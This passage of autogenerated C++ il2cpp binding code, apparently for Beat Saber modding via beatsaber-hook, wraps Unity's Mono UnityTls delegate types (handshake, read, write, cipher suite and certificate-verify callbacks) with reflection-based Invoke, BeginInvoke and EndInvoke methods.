Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_x509verify_callback_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx, cb, userData, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_x509verify_callback_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_tlsctx_x509verify_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, cb, userData, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_x509verify_callback_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_x509verify_callback_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_supported_ciphersuites_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_supported_ciphersuites_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_ciphersuite #include "Mono/Unity/UnityTls_unitytls_ciphersuite.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_supported_ciphersuites_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_ciphersuite* supportedCiphersuites, ::System::IntPtr supportedCiphersuitesLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(supportedCiphersuites), ::il2cpp_utils::ExtractType(supportedCiphersuitesLen), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx, supportedCiphersuites, supportedCiphersuitesLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_supported_ciphersuites_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_ciphersuite* supportedCiphersuites, ::System::IntPtr supportedCiphersuitesLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(supportedCiphersuites), ::il2cpp_utils::ExtractType(supportedCiphersuitesLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, supportedCiphersuites, supportedCiphersuitesLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_supported_ciphersuites_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_supported_ciphersuites_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_ciphersuite_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_get_ciphersuite_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_ciphersuite #include "Mono/Unity/UnityTls_unitytls_ciphersuite.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_ciphersuite_t.Invoke ::Mono::Unity::UnityTls::unitytls_ciphersuite Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_ciphersuite, false>(this, ___internal__method, ctx, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_ciphersuite_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_ciphersuite_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_ciphersuite Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_ciphersuite_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_ciphersuite, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_protocol_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_get_protocol_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol #include "Mono/Unity/UnityTls_unitytls_protocol.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_protocol_t.Invoke ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_protocol, false>(this, ___internal__method, ctx, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_protocol_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_get_protocol_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_get_protocol_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_protocol, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_process_handshake_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_process_handshake_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_process_handshake_t.Invoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, ctx, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_process_handshake_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_process_handshake_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_process_handshake_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_read_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_read_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_read_t.Invoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, ctx, buffer, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_read_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, buffer, bufferLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_read_t.EndInvoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_read_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_write_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_write_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_write_t.Invoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* data, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(data), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, ctx, data, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_write_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, uint8_t* data, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(data), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, data, bufferLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_write_t.EndInvoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_write_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_notify_close_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_notify_close_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_notify_close_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_notify_close_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_notify_close_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_notify_close_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_free_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_free_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: 